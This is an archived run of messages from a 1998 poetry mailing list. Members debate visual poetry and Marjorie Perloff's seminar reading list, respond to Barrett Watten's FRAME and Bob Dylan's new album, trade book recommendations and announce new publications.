Burris, Harry, ed: _O!!Zone Vizpo 96_ (Houston TX: Harry Burris, 1996). 83 contributors from 20 countries; 187 pgs $18 ($30 to institutions). *O!!Zone*

magazine likewise continues to publish visual poetry and badly xeroxed nude photographs...

Lost and Found Times, edited by John M. Bennett (Columbus OH: Luna Bisonte Prods). Current issue is #37? abt 56 pp., $6.00

Machine Made of Words: www.burningpress.org/gallery/gallery.html
WrEyeTings: www.burningpress.org/wreyetings/indes.html
Light & Dust: www.thing.net/~grist/PAGE1.htm
Posttypographica: www.postypographika.com/
UbuWeb: www.ubuweb.com/vp/
A Humument homepage: www.wolfenet.com/~duchamp/index.html

several folks have asked fr pointers to anthologies, and i think that points up part ov the problem. the richest source of visual poetry activity continues to be micropress (outside ov th acadamy) and mailart-- these communities (partly by design, partly by poverty) don't often produce work in commodifiable products like anthologies or symposia (kudos to th couple ov recent such that have appeared--but those are exceptions proving th rule...). altho i much appreciate even the existance of Marjorie's class attention to vizpo, i'm sympathetic to bob g's underlying complaint: that seemingly whole bodies of work, whole community(s) of visual poets, seem not to garner deserved attentions. bob has long been a champion and advocate of several such bodies, and i'm sure the reading list triggered some longstanding & justified frustration (L=A=N=Gpo's might be likewise sympatico to a percieved exclusion by a dominant aesthetic...). JM Bennett's Lost&Found Times could usefully be examined as a locus of one particular body of work/community of workers, which includes visual poetry as one among several tactics in it's aesthetic--the continued lack of critical attentions to that work is a source of endless personal puzzlement & frustration (i wont even get into stories abt the Ohio Arts Council Literature panel meetings considering his grant-proposals).. hard fr me to believe this thread, actually--as if marjorie's class somehow marks the cannonization of some visual poets to th exclusion of others... please dont tell malok!

asever
luigi

↑ Index

340. **Schuchat Simon**
Re: Dylan
Tue 13 Jan 1998

Well, I read Frame, and Imagination Verses, and Lisa Jarnot's Some Kind of Mission, and Tim Dlugos' selected, and Jim Brodey's Heart of the Breath (or was

that last year), among numerous others. Also Bill Luoma's cowboy poems come to mind.

I like the new Dylan alright, I thought that Good as I been and World Gone wrong were his best work since who knows when, and I like the only Xtian album of his I've listened to, Slow Train Coming, spiritual music being as much a part of the tradition he has always been mining as blues or rock or whatever. I am waiting for a CD with George Jackson, another of my favorite Dylan tunes, and perhaps, since at one point (I think Allen Ginsberg pointed this out) he was mining the Auden/Spender vein, a Dylan sings Cole Porter album would be amusing.

And for you gender and cultural studies etc people out there, Gail Hershatter's DANGEROUS PLEASURES (study of prostitution in Shanghai, published by U of California) is a masterpiece and worth everyone's time.

↑ Index

341. George Bowering

Re: dylan or

Tue 13 Jan 1998

> *"No one listens to poetry", unless it's backed up by guitar drums & bass, & we can't come up with a "serious artist" in poetry per se to compare with Dylan (in ability to generate talk-interest) ??*

The ability to generate talk and interest is not all that indicative of seriousness. If it were there would be fewer US magazines on the newsstands and more literary magazines.

Or to put it another way: Virgin Records stores would be bulging with Paul Bley CDs, and in one little corner there would be a few Spice Girls and Bob Dylan CDs.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

342. Bob Grumman
Re: Whose Visual Poetics? Bern Porter's in 1959
Wed 14 Jan 1998

When I observed that I was disappointed that Marjorie Perloff had chosen Charles Bernstein for a reading to kick off her graduate seminar in visual poetics, I didn't think I was being "dismissive." I just thought it'd be nice if she picked someone who's been active in the field longer than Bernstein and who could use a career boost a lot more than he. (And there are a lot of California poets in her area, many of them equal to Finlay and Phillips, who'd certainly be available for little of no reading fee.) I didn't say anything about her seminar as a whole because I didn't know anything about it. Now that I've seen Perloff's list of required and recommended books (with only one book on it that's also on the CORE list I supplied), I AM dismissive of her seminar. Yes, it's nice that she's doing SOMETHING for visual poetry, but a shame that she's doing so little for contemporary American visual poetry.

--Bob G.

↑ Index

343. Tom Orange
leaving off the g
Wed 14 Jan 1998

the wcw poem in question is "VIII" (last four stanzas quoted:)

And so it comes
to motor cars--
which is the son

leaving off the g
of sunlight and grass--
Impossible

to say, impossible
to underestimate--
wind, earthquakes in

Manchuria, a
partidge
from dry leaves

(/imaginations/ 110)

hoping this arrives in time to be useful...

t.

↑ Index

344. joel lewis
f.y.i.
Wed 14 Jan 1998

FROM INFOBEAT:

*** Georgia gov. proposes infant music giveaway

Gov. Zell Miller proposed Tuesday the state provide the parents of every Georgia newborn - some 100,000 a year - with a classical music cassette or compact disc in order to boost the infant's intelligence later in life. Miller proposed a $105,000 allocation for the program in a $12.5 billion budget proposal that he presented to the General Assembly. He cited a study of the "Mozart effect," which he said showed college students' IQ scores increased after listening to a Mozart piano sonata for 10 minutes. Miller said he had asked Atlanta Symphony Conductor Yoel Levi to help select music for the recordings. See http://www.infobeat.com/stories/cgi/story.cgi?id=6928337-100

joel lewis

↑ Index

345. John Tranter
Rimbaud in Africa, reviewed
Wed 14 Jan 1998

Some months ago a few queries were posted on the group enquiring about Charles Nicholl's excellent biography of Rimbaud (mainly on Rimbaud in Africa), titled Somebody Else", published by Jonathan Cape in the UK.

As the editor of Jacket magazine, free on the internet at
http://www.jacket.zip.com.au/index.html

modesty forbids my mentioning that there is a detailed review of Mr Nicholl's book, with many charming and previously obscure photographs, including a Rimbaud self-portrait, at

http://www.jacket.zip.com.au/jacket03/rimbaud03.html

So, as we say Down Here in the Antipodes, go for it.

Lately, as well as Nicholl's book, I've enjoyed reading Douglas Rothchild's "Match Book" (Situation Press # 13)(a giant matchbook full of poems, and yes, you can light a match on the black strip on the cover -- don't try this at home!) ... and Jennifer Moxley's "Imagination Verses" (Tender Buttons) ... and Peter Riley's "Snow has Settled [...] Bury Me Here" (Shearsman Books, Plymouth, UK.)

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
Editor, Jacket magazine: http://www.jacket.zip.com.au

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346. Laurie Schneider/Crag Hill
Visual Poetics
Wed 14 Jan 1998

Eryque Gleason writes about visual poetry found at the Light & Dust website:

" Some of it's a little quirky and looks like advertisement-style art, but all of it's interesting."

Advertisers picked up (co-opted!) the textual/graphic/spatial potentials found in the exploratory practice of poets from the 20's onward to the present, keeping the visual aspects while dropping the poetry. Visual poets are still waiting for the rest of the world to catch up to Madison Avenue.

Two other sources for visual poetry in the U.S. are Marvin Sackner's archive in Miami Beach (voluminous, The Poetry/Rare Books Collection at University of Buffalo (Thanks to Mike Basinski and Robert Bertholf). Backchannel if you would like snail addresses.

Best, Crag Hill

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347. Thomas Bell
Re: Whose Visual Poetics? Verbal or visual?
Wed 14 Jan 1998

Is Visual Poetry visual or verbal? The recent flurry here actually raises an important issue I think. Does visual poetry have a visual/auditory bias? Would Bernstein's work not be poetic visuals? "Cocteau has said of his drawing that it is writing untied and 'knotted up again in a different way.'" - Davenport. I find that my work can be 'verbal', 'visual' or both, but all three are different in a fundamental way. tom bell

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348. **Herb Levy**
A mundane query
Wed 14 Jan 1998

Is there currently a Web site for the Kootenay School? & if so what's the URL - the one at wimsey.bc.ca's been down for months now.

I did hear the new Dylan album at dinner at a friend's house about a week or two before I went down to Texas for the holidays. I don't remember the CD much, but the risotto was very good.

Herb Levy
[redacted]

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349. **rsillima**
Yo soy un hombre sincero
Wed 14 Jan 1998

Years ago, my family's relation to Guantanamero was changed irrevocably when we attended an Oakland A's game to discover another family in the bleachers that broke into song whenever the home team's great third baseman came to bat:

There's only one Carney Lansford
There's only one Car---ney Lans-ford
One Carney Lansford
There's only one Carney Lansford...

And these have been the official lyrics ever since.

Ron

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350. **hen**
Re: dylan or
Wed 14 Jan 1998

On Tue, 13 Jan 1998 21:53:06 -0700 George Bowering said:
>>"No one listens to poetry", unless it's backed up by guitar drums &
>>bass, & we can't come up with a "serious artist" in poetry per se
>>to compare with Dylan (in ability to generate talk-interest) ??
>
>The ability to generate talk and interest is not all that indicative of
>seriousness. If it were there would be fewer US magazines on the newsstands
>and more literary magazines.

Well, I was referring to talk-interest on this particular list, which was the challenge at hand. - Henry

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351. Susan Wheeler
Digest
Wed 14 Jan 1998

Matches re Dylan equivalent:
Stepping Razor
Imagination Verses
il cuore
The Singularities
Tim Dlugos'

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

352. Mark Wallace
FRAME
Wed 14 Jan 1998

Although I understand the urge, given the time remaining to any of us under the realm of capital, Watten's FRAME deserves, I think, far more than a cursory read. He's always been something of an ambivalent figure, if powerfully so, for me, at least until recently--crucially insightful, full of new poetic possibilities, and with a more accurate and consistently direct take on the material interests that shape our present world than almost anyone I can think of, yet at the same time a rather distant (should I say cold?) and perhaps even majestic presence--I learn from his work always, but do I always like it, and would he even want me to "like" it, exactly? Yes, I guess, but in the way one likes a bracing shock. I remember once visiting Thomas Jefferson's home at Monticello and being told that he woke up every morning, at 6 a.m., by rolling out of bed and sticking his feet in a bucket of ice water. Watten's work has always had something of a similar effect on me.

But while I had read a fair amount of his work, it was always in smaller pieces--a book here one year, a book here the next, as they became available. FRAME I think makes the case for a much larger reach in his practice, and for its not always immediately apparent variability. Indeed I even saw breeches in the wall of his social critique--I don't mean in terms of its shortcomings, but in terms (despite the fact that "the conditions of our displacement are functionally

exact"--I paraphrase) of where the critique is related to some of his own experiences, however much those experiences are not in any direct manner the subject of his practice. Oddly enough perhaps, or not, read again his work did not seem particularly radical in terms of syntax or the construction of the sentence--it's in terms of the relation BETWEEN sentences and a disorientation on the level of the IMAGE that he strikes me as doing what had not been done before. Less immediately materialist than Silliman, and without the playfulness of Bernstein (humor is there in Watten, but it always hurts), his work has more of a disorienting house of mirrors effect, and seems less certain of the usefulness of its own critique (in certain ways, at least) than one might expect. I was left wondering about the value of critique in a world conditioned on our own displacement--it remains for Watten perhaps the primary mode with which to engage the world and challenge the forces of alienation, but what had one gained exactly beyond the feeling that one knew where one had been lost? In short, if there is an icy majesty to the tone always, it is one that comes out of a sense of social tragedy (my word, not his own, who knows whether he'd like it) that both must and cannot be repaired. Critique from the point of a wound, caused not by the fact that one has withdrawn from the world, but that the world itself as we are given it TODAY has withdrawn from us, into a place where capitalist discipline threatens engagement, poetry, and the most basic kinds of contact.

As The Minutemen once said, maybe partying will help.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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353. **rsillima**

The narrative of understanding

Wed 14 Jan 1998

Josh's tres cynical remarks re the latest Dylan reminded me of an exchange I had with Ben Friedlander awhile back. I'd commented that, say 1969 and thereabouts, I'd found Clark Coolidge's work impenetrable (and had not yet learned to trust opacity as a sign in and of itself) until Barrett Watten pointed out to me the great humor in the work, a humor that, once mentioned, became immediately evident to someone who'd read lots of Jonathon Williams and Phil Whalen, two major Coolidge influences.

To paraphrase Ben, he said that that won't work if you come to Whalen after you do Coolidge, which is of course correct. But I am in this sense part of an indentifiable generation, someone who came to poetry when Creeley's For Love was "the current book," as was Duncan's Opening of the Field, etc. etc. Whalen was in those days still a "small press" poet, i.e. impossible to find before On Bear's Head other than in journals. The objectivists out of print entirely.

What comes before comes in unequal and sequentially disordered "lumps" of information -- I get to HD, for example, years before I do Riding (Jackson), thanks to Duncan. Crane and Keats are contemporaries, etc. But everything that occurs after the mid-60s generally occurs in the order in which it came into print and that becomes the skeleton of memory over time, onto which the rest gets hung.

In somewhat the same way I will always be someone who "hears" Dylan as someone who has (as he did when I first got into the music) just two albums out and everything else is thus a development. It's in that sense that I hear Josh's comments as possible only from someone whose parents (as Josh has pointed out) are my age.

I had a similar experience reading FRAME. Other than the title piece itself, I have everyone of the works that went into it and have a deep personal experience of having read each -- some of the early This Press books with their saddle staple binding were deeply sensuous volumes. Beautiful as their covers may be, I don't think anybody would ever accuse the squat format and too-small typeface that characterizes Sun & Moon press as "sensuous." Anyway I'm very glad those works are in print because I think everybody should read and know those poems deeply, but it was an odd experience going through them in what seemed to me an alien format.

Ron

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354. **Mark Prejsnar**

Frame etc.

Wed 14 Jan 1998

I like Don Byrd's point a lot....It would be fun to hear people give some reactions to recent books. I also like very much the list that was generated by the folks who jumped in with suggestions. (Only I've returned the copy of Perhaps This is a Rescue Fantasy I was reading to the friend I borrowed it from....So I can't glance it over and think of something substantive to say; I do remember that it's first-rate..)

In general most of the books mentioned are ones I've been reading in the past 6 months.

In general, I'm disappointed that Don's point was underlined...People mentioned books, but didn't seem to have much to say about 'em.

I've just published a review of Aldon's Stepping Razor. Basically, it points out that the strength of the book lies in its wide range of approaches to form; and that that formal restlessness is quite effective, and tied to a playful/intricate take on moments in our current unanchored cultural life...Also on representative moments scooped out of history and related to fragged bits of contemporary consciousness. Ahem, "Nielsen grasps the poem as a congeries of possible formal directions, which pique the mind through ear and eye; music that thinks. Furthermore it thinks in American..." I hint in the review that Aldon's work is puzzling because there are fewer direct lines of tension and connection than you might expect between his poems and his extraordinarily important critical books. They're there, but subtle. I have this vague feeling they may grow clearer as his work progresses...

Well, as I was sitting here typing this Mark W's post on Watten came through. A bit spooky, or an indication of great minds running on tracks. I did a series of notes on the bus this morning to post about Frame, which I've been looking at for a couple of months...Mark and I have mentioned many of the same things: the aloof coldness in Watten (that neither of us is exactly put off by, but there is some ambivalence there, from the way we both mention it). The fact that much of Frame is not as syntactically disjunct as one remembers from when some of these books first came out. That much of it is essentially New-sentence writing, working with tensions generated by spaces and shifts between sentence structures...but (as Mark says very accurately) "less materialist" than Ron S. I was going to say, less abruptly aware of the physical/social matrix of writing.

Like Mark I like Watten's work very much, and find it *useful* (to the ear, nerve-ends, political mind and also to my own writing). A few other jottings from the bus: Essentially Watten has a great ear and creates stuff that (at times) swings like Stein or Coolidge--admittedly it is more cerebral. For you music analogy types (hey, Mike) more Anthony Braxton than Mingus. Geometric passion. Actually I recommend reading his Impercipient Lecture with Frame : there is much the same (cold but real) drive toward a truth articulated in sound-forms through time and writing (that's an allusion...) And I jotted down this: Watten uses different frames and musical phrases to offend the mind and wake up the ear, and always underlying it is a fury about the political semi-conscious. That's a play on Fred Jameson and not a bad turn of phrase even if I do say so myself. It occurs to me now that many of us who have something in common with Watten (such as Mark and myself) are tryng to write about "the

political semi-conscious"....The challenge being that in the realm of public culture and political struggle our entire society right now is in a state of semi-consciousness (at best). Coma?

I also hoped to take up another suggestion people threw out: to discuss Mark's own Nothing Happened (which I've been reading in conjunction with his recent chapbook In Case of Damage to Life, Limb or This Elevator). After all this other yattering I don't have time. Except to note that it's illuminating to look at both of them in light of Mark's comments about Frame--not due to direct influence, but because there are parallels in his concerns about how poetic form relates to politics and consciousness. He is getting increasingly political I feel, in an increasingly interesting way, noticeable over these books and in his work Temporary Worker Rides a Subway, bits of which are running in a kind of serial fashion in my magazine Misc. Proj. (Still working at getting the new issue out to folks...Hang in there, it'll only be a couple more days!)

Mark P.
atlanta

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355. Eryque Gleason
Re: leaving off the g
Wed 14 Jan 1998

---

tom, thanks for the lines. bill freind beat you by a few hours, i think my thanks to him went backchannel.

my boss is now twenty feet away reviewing th list of errors which contains those lines as interlude on page four. he's only on page two so far, this should be good.

thanks again,
eryque

On Wed, 14 Jan 1998, Tom Orange wrote:

> *the wcw poem in question is "VIII" (last four stanzas quoted:)*
>
> *And so it comes*
> *to motor cars--*
> *which is the son*
>
> *leaving off the g*
> *of sunlight and grass--*
> *Impossible*
>
> *to say, impossible*

> *to underestimate--*
> *wind, earthquakes in*
>
> *Manchuria, a*
> *partidge*
> *from dry leaves*
>
> *(/imaginations/ 110)*
>
> *hoping this arrives in time to be useful...*
>
> *t.*

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356. dee morris
shameless self-promotion + Spicer's "No / one listens"
Wed 14 Jan 1998

Joining two recent threads, I'd like to announce a new collection of essays on the relationship between acoustical technologies and 20th century innovative poetics. The collection's 12 essays focus on earplay in texts by Joyce, Pound, H.D., Beckett, Burroughs, Baraka, Kaufman, Duncan and Brathwaite and performances by Cage, Laurie Anderson,Caribbean DJ poets and Cecil Taylor. Contributers are Loretta Collins, Jim Connor, Michael Davidson, Kate Hayles, Nate Mackey, Steve McCaffery, Alec McHoul and Toby Miller, Dee Morris, Fred Moten, Marjorie Perloff, Jed Rasula, and Garrett Stewart. But the best thing--in my humble opinion--is that there's a CD slipped in the back cover which makes it possible to hear not only F. T. Marinetti, H.D., Henri Chopin, Anthony McNeill, Brathwaite, and others, and but also Mississippi Fred McDowell, Miles Davis, Sonny Rollins, Rahsaan Roland Kirk, and Cecil Taylor. The title is Sound States: Innovative Poetics and Acoustical Technologies. Edited by me. Available from North Carolina University Press and (I hope) good bookstores everywhere.

Dee Morris

↑ Index

357. Mark Prejsnar
Re: The narrative of understanding
Wed 14 Jan 1998

I find Ron's comments fascinating...I think we all have some experience we can remember, of how sequence in time effected our reception of a poet or a bunch of poetry....I'm not sure it usually has a significant impact on how good we think the stuff is (which I take it is partly going on in the episode of discovering Coolidge's humor, in relation to Whalen...)

Certainly this probably has happened to a lot of people: at 14 and 15 I discovered fairly derivative works that blew me away; they were part of the process of working backward to the poets/books that had influenced *them*. But a bit of my consciousness will always see the later poets as *precursors* because I encountered 'em first (and at a time when I was just discovering poetry).

Baraka's first two books (Preface to a 20 volume suicide note; and Dead Lecturer...note the morbid note that was appealing to an adolescent) I encountered before the Duncan and Olson that gave Baraka so many of his formal ideas.

and:

A poet not much known I think to our crowd, but at his best underrated: I read Thomas Merton's two best works, Geography of Lograire and Cables to the Ace before the Cantos, which they (especially Geography) are largely a response to (formally speaking).

Likewise, Dylan's Tarantula (to get back to Dylan) introduced me to stylistic pyrotecnics from a whole range of sources I only read later: Rimbaud, Burroughs, Ginsburg.

The one thing about this dynamic (it can be argued) is that one may permenantly over-value the false precursors, because they helped program certain poetry-receptors in one's head. Or to change metaphors: the reader imprints on them (term in biology for a young animal becoming attched to a nurturing presence in its environment, whether its actual parent or no).

Mark P.

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358. David Kellogg
Re: FRAME
Wed 14 Jan 1998

Mark,

Thank you for the wonderful post on FRAME 1970-1990. I have been reading FRAME since it came out and have tried to organize my responses into some coherent form, but you have pulled these responses considerably ahead.

My history as a reader is different from yours, and completely opposite that of Ron's, but probably resembles that of many latecomers (latecoming dabblers, eh Bob G?) to language writing. While I read a lot of Bernstein and Silliman's work in book form, Watten's poetry was available to me in 1980s North Carolina solely through the major anthologies (In the American Tree etc.) Still amazing stuff ("Complete Thought" especially) with a specific feel that seemed different from other language writing. I was more struck by the impression of intelligence and plan, by the ambition, and by the purity of language. Basically, I could tell something extraordinary was going on, but I couldn't get what it was. (I had a similar experience with my first reading of the later poetry of Thomas Kinsella, who I have since come to think of as one of the great living poets. But I'm almost alone in that assessment.)

Back then I a better sense of Watten's criticism. Probably my first real encounter with him in this vein was as a respondent to that Bernstein lecture "Characterization" (in Content's Dream) where he tells CB to "purge your vocabulary of statements like 'French linguistics from Saussure to Derrida.'" That gave me a feel for his take-no-prisoners attitude, which I have always admired.

I _did_ read Total Syntax around 1990, which struck me at the time as overwhelmingly intelligent but bizarre/forbidding, jargon-wise, and kind of interestingly obsessive. It _did_ give me an inroad into Coolidge and others.

So Frame is only my second encounter with Watten's poetry in book form (after Progress, which I again encountered after everybody else). I have been reading it chronologically rather than in the order of the book, alongside the great Watten issue of Aerial. I agree with Ron about the typeface, but I have to say this is one of the major reading experiences of my adult life. I'm not sure what will come of it.

Cheers,
David

~~~
~~~

359. **Miekal And**

Whose Visual Poetics? Marjorie Perloff's in 1998

Wed 14 Jan 1998

Overall Im struck that in many of our minds one phantasm of success is if the work youve spent a lifetime creatingproducingnetworking is being taught to others. it saddens me deeply that the radical samisdat & unclassifiable experimedia remains as marginalized as ever, awaiting some critic 50 years hence to reconstruct a useful history. there is no zaum as far as Im concerned, before Gerald Janacek's remarkable work, maybe no lettrism before the event of May 68.

One of the profound singularities of the international visual poetry movement is that it is inclusive & truly international. its globalspeak is in the the best intention's of Kruckenykh "trans-rational language" & because of that new translation of the text & the page, I can comfortably interact with artist's around the world. via mailart shows, assemblings, installations, anthologies, archives & collaborations it invites your participation as a living art form. while there is some institutional affiliations, it is largely composed of independent artistpublishernetworkers living in isolation. For instance, one of my favorites, Serge Segay & Rea Nikonova, live in rural Georgia, Russia in the Azov Mountains & up until a few years ago, I had to send mail to someone who gave it to someone to deliver it.

my reaction when reading your reading list was largely "these are people who I was unaware did visual work & I should remember to check em out". what is the context here. the context is that Im someone who has been living & breathing hypermedia poetry since I was 17, runs a press that has published the books of 40 different visual poets in 15 different countries, as well as combobulating an extensive library of my own books, cassettes, & software. (have a great video piece of me doing Kruchenykh called EUY) & youre list was news to me.

Im supposed to be writing a text on visual poetry for the upcoming SCORE & Im finding that this is the text Im trying to remember. ...how do we as artist/publishers design a/many threshold(s) to our world(s) that is/are accessible & commodifiable in institutionality. my instant answer, being the html geezerwrecker that I am, is thru a catalogued & searchable internet front, a website, a domain (memexadu.com) or a virtual world, some sort of knowledge navigatable environment where anyone could navigate around/inside of for a couple hours & feel awe for the expanding internationality of visual poetry.

wish I could be there to sit in on your supposium, but I guess my track record for keeping my mouth shut is not very good. since Im too poor to buy books & am more than a 100 miles from a decent library Id love to trade books with you,

& especially learn about your views on the hyperculture world of experimental poetry.

m &

_____
Dreamtime Village
hypermedia/permaculture rural community is sw wisconsin
http://www.net22.com/dreamtime/index.shtml

↑ Index

360. Douglas Barbour
Re: Don Byrd's query
Wed 14 Jan 1998

Definitely _Imagination Verses_ -- which I am very happy to have received. From the comments at the time I'd have to believe that more than five of us have read it. And Mark is right to mention Rochelle Owens' _New and Selected Poems, 1961-1996_, and yes, I thought a lot of Aldon Nielsen's _Stepping Razor_. Not to mention Joe Amato's _Symptons of a Finer Age_. I havent read the most recent David Bromige, so hang my head in shame, but I have it on the shelf. Am right now immersing myself in Sheila E. Murphy's wonderful _Falling Love, Falling in Love, with You Syntax_.

I wont mention the Canadian books...

Why dont we 'talk' about them? Is it easier to rave aout Dylan (or, say, for me, Van Morrison [or, more importantly, because I really listen more to jazz & 'classical': the latest Jessica Williams or a finally found copy of a terrific Ben Webster re-released on CD]) because the music, the playing, as well as the lyrics, the performance that is, is there for us to engage, while I may never hear some of these poets (I do think we get that kind of enjoyment/rave response in some of the 'reviews' of live readings...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Whose song is this anyway?
Is it a song being sung

on the narrow road to the North?

Phyllis Webb

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361. **robert drake**
Re: Whose Visual Poetics?
Wed 14 Jan 1998

---

bob--

i never intend to be snide... and tho i know you originally addressed only the reading series, the discuss on th list had amorphed into a critique of the course as a whole, based only on that reading series; so i felt the syllabus was a needed corrective....

i ov course agree w/ your thrust, as i understand: that a whole raft of important work ("our" kinds ov stuff) are by&large excluded frm serious consideration... no surprize (tho no less a travisty) when norton & vendelar dismiss it/us; and even more irking when individs whom we had hoped shared our aim of extending th canonical bounds continue to draw those territorial maps w/out a trace of our own valued continents...

so she's addressing seriously a body ov work previously excluded, that's good; so she's still not addressing a body ov work that we believe is worthy, that's bad. always too easy, fr me, to find fault w/ what someone's _not_ doing. all in all, tho, i dont thingk she shd necessarily be faulted fr failing to give poet xxx a deserved career boost--i'd be critical of any project which took, as it's goal, "giving deserving poets carreer boosts"... altho TRR might as do that for some folks as a side benefit, it certainly isnt our editorial purpose; likewise its not (&, i think, ought not be) the purpose of a professor or a poetics program or a publisher--rather it ought be to desemination of important work, and of understanding of that work... and, all that being said, it might be yr perception that the particular slant of mp's class is in fact more ov to boost the cultural capital of some particular poetic community or aesthetic... i'm not sure that's incorrect. but th arguement then would be to identify the underlying aesthetic structure she's promoting and either: (z) challange the value or importance of that particular body ov work; (x) identify other excluded works/poets who should be considered, on the basis of their sharing those concerns & producing work of equal or better value; or (y) identify other aesthetics or tendencies beyond the narrowly definded trends already being considered, identify their distinguishing characteristics, and show their value...

or maybe we shd each work on getting out our next publication...

asever
lbd

> *Hi, Luigi.*
>
> *I'm up a little late for me.*
>
> *Yeah, I felt, for some reason, like irritating a few Names. And that snide insert of yours, with Perloff's list of required and recommended books on it was beautiful! Here's what I just sent to the list:*
>
> *When I observed that I was disappointed that Marjorie Perloff had chosen Charles Bernstein for a reading to kick off her graduate seminar in visual poetics, I didn't think I was being "dismissive." I just thought it'd be nice if she picked someone who's been active in the field longer than Bernstein and who could use a career boost a lot more than he. (And there are a lot of California poets in her area, many of them equal to Finlay and Phillips, who'd certainly be available for little of no reading fee.) I didn't say anything about her seminar as a whole because I didn't know anything about it. Now that I've seen Perloff's list of required and recommended books (with only one book on it that's also on the CORE list I supplied), I AM dismissive of her seminar. Yes, it's nice that she's doing SOMETHING for visual poetry, but a shame that she's doing so little for contemporary American visual poetry.*
>
> *Nice list and comments you provided. I was chagrinned to realize I hadn't mention John M. in my list of underappreciated visual poets--or Stephen-Paul Martin and Bill Keith. Guy Beining I left off on the grounds that maybe he's English. And there are so many Canadians.*
>
> *As for the list you ask for, uhn. But if I have tomorrow off, I'll try to give you a starter list. I of course don't know everyone in the field; then there's the problem of people who may have dropped out like Kathy Ernst. As a rough idea of who I'd consider worthy of appearing in an anthology, I would say everyone who has done visual poetry (by anyone's definition but Harry Burris's) who's been published by Xexoxial, Runaway Spoon, Burning Press or Curvd H&Z, or has had poetry in Kaldron or Score or Generator.*
>
> *You know, we forgot to mention Taproot as a source of reviews of visual poetry books--or did you, and I missed it.*
>
> *Anyway, thanks for chipping in. I think a little controversy might clear the air. I hope so. I don't mind playing the bad guy. I really do think it's outrageous that Perloff left so many books and magazines of value off her list of recommended books. What would it have hurt her*

> *to mention CORE, for instance, which even includes her buddies Charlie and Johanna?*
>
> *All bestest, Bob*
>
> *(Re-dissemination of any of the above is okay with me.)*

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362. Jacques Debrot
Re: FRAME
Wed 14 Jan 1998

I found Mark Wallace's and Ron Silliman's comments about Watten to be of great interest. Recently, in preparing for an essay I was writing about Watten's poetry, I read all of his published work intensively over the period of about 2/3 weeks. So my experience of coming to Watten's books would, I suppose, be diametrically opposite to Silliman's. But what struck me then was the extraordinary correspondence between the essays and the poems -- not that the poems really fulfill the project laid out (to some extent) in the essays (Bob Perelman, for instance, is very good at pointing out the way in which, as Mark Wallace says, Watten's "critique is related" in a strange way "to . . . his own experiences" -- but that both the essays and the poems deliberately withold, in much the same way, an immediate legibility and aesthetic pleasure. Mark Wallace writes: "Oddly enough perhaps, or not, read again his work did not seem particularly radical in terms of syntax or the construction of the sentence--it's in terms of the relation BETWEEN sentences and a disorientation on the level of the IMAGE that he strikes me as doing what had not been done before." The same thing can be said I think of the essays. Though they're not by any means written in the "composition as explanation" style that characterizes L=A=N=G=U=A=G=E, there is a somewhat abstract *accretion* of verbal material in Watten's essays (an influence of Robert Smithson's?) which is a bracing preparation for the poems. (This of course is truer of the essays in *Total Syntax* than Watten's recent, more academic work, though certainly not in any absolute sense.) In any case, although I loved *Frame* I missed the essays -- an ideal presentation of Watten's work would, I think, reveal their remarkable imbrication.

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363. Miekal And
Whose Visual Poetics? Miekal And's in 1984
Wed 14 Jan 1998

LIKE MUSIC AGAINST DREAM

The visual-verbal interface a target per se delivery of perception. Collusions between all elementals, impartial sensing alphabet, symbols & images as interchangeable. The depth of affection counter to the obscurity / coded. Exposure as common, the districts of apprehension in a mechanized perception, should they give rise to understanding, depend on sensate imagination, conditioned as it is, or which truth within our subjectivity do we trust, a choice once recorded as a decision, & understanding becomes a function of bias.

Once our attention returns to the page, a new art becomes betrayed following recognition/identification, that really familiarity replaces reactions.

I am encountering unexpected sequence. A page after page turning coinciding with retentive effort. In the course of a life time a commonality of experience "arranges" understanding.

THE ACTS THE SHELFLIFE

The fortune of seeing, of the non-idiomatic, is probably a species away from becoming the condition, our state now minutely distracted by media/media & the experience of our selfsame art is unconscious. Should the design of being change, the capacity for a truer rendering of non-idiomatic art is elevations above the posing which informs much of the recent experimental interpretation.

Miekal And 23 may 84

---

from "knowledge swirling man tell slow stories"
xerox sutra, 1984

_____

'pataphysical sobriety test
http://www.net22.com/qazingulaza/pataphysics/pataphysics.html

↑ Index

364. **Matthew Hart**

Re: Yo soy un hombre sincero

Wed 14 Jan 1998

Ron's Guantanamero narrative mirrors somewhat my own relationship with this tune. Coming from an English, soccer (nee football) background, I *only* knew this sing through its very popular use as a "There's only one [insert player's name/team name here]" style terrace chant. Sometimes this pattern would be altered, my favourite example being when Liverpool FC signed a defender by the name of Jimmy Carter -- hence, "There's only two Jimmy Carters, / Two Jimmy Carr-terrrs!"

On holiday in Spain some years ago I remarked to a friend, "Oh, listen, someone's made a song out of that football chant!" A chastening moment indeed. . .

Matt

According to [redacted]:
>
> Years ago, my family's relation to Guantanamero was changed irrevocably when
> we attended an Oakland A's game to discover another family in the bleachers
> that broke into song whenever the home team's great third baseman came to bat:
>
> There's only one Carney Lansford
> There's only one Car---ney Lans-ford
> One Carney Lansford
> There's only one Carney Lansford...
>
> And these have been the official lyrics ever since.
>
>
> Ron
>

↑ Index

365. Eryque Gleason
Re: Visual Poetics
Wed 14 Jan 1998

---

that's actually what i was referring to. there are a few images there that contain just a couple words, and these few words are not enough to make me think of poetry.

craig wrote:
> Advertisers picked up (co-opted!) the textual/graphic/spatial potentials
> found in the exploratory practice of poets from the 20's onward to the
> present, keeping the visual aspects while dropping the poetry. Visual poets
> are still waiting for the rest of the world to catch up to Madison Avenue.

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366. **Jacques Debrot**
Re: Frame
Wed 14 Jan 1998

Wrote the previous post in some haste -- in the last sentence I mean of course that the poems and the essays are "remarkably imbricated."

↑ Index

367. **Jordan Davis**
Re: Whose Visual Poetics?
Wed 14 Jan 1998

---

purge your vocabulary of the word "important" --
JD

↑ Index

368. **aerialedge**
Re: shameless self-promotion + Spicer's "No / one listens"
Wed 14 Jan 1998

The fabulous _Sound States: Innovative Poetics and Acoustical Technologies_ which Dee just announced will be on the next Bridge Street list (coming soon) with lots of other excitin' new books. & of course the curried favor of the discount might sway listmembers to order it from Bridge Street.

